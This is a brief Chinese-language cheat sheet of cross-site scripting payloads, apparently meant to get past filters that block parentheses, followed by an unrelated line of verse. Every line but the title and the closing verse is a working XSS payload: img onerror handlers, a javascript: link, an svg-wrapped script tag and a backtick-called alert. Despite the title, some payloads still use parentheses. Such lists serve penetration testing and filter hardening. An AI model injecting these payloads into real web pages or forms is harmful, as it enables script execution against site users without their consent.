XSS过滤圆括号一些可执行的payload
<img src=1111111 onerror=alert(1)>
<img src=1111111 onerror=javascript:alert(1)>
<a href="javascript:alert(/1/)">axxx</a>
<svg><script>alert( 1) </script></svg>
<img src=1 onerror=alert(1)>
<img src=x onerror=alert`1`>
人间正道是沧桑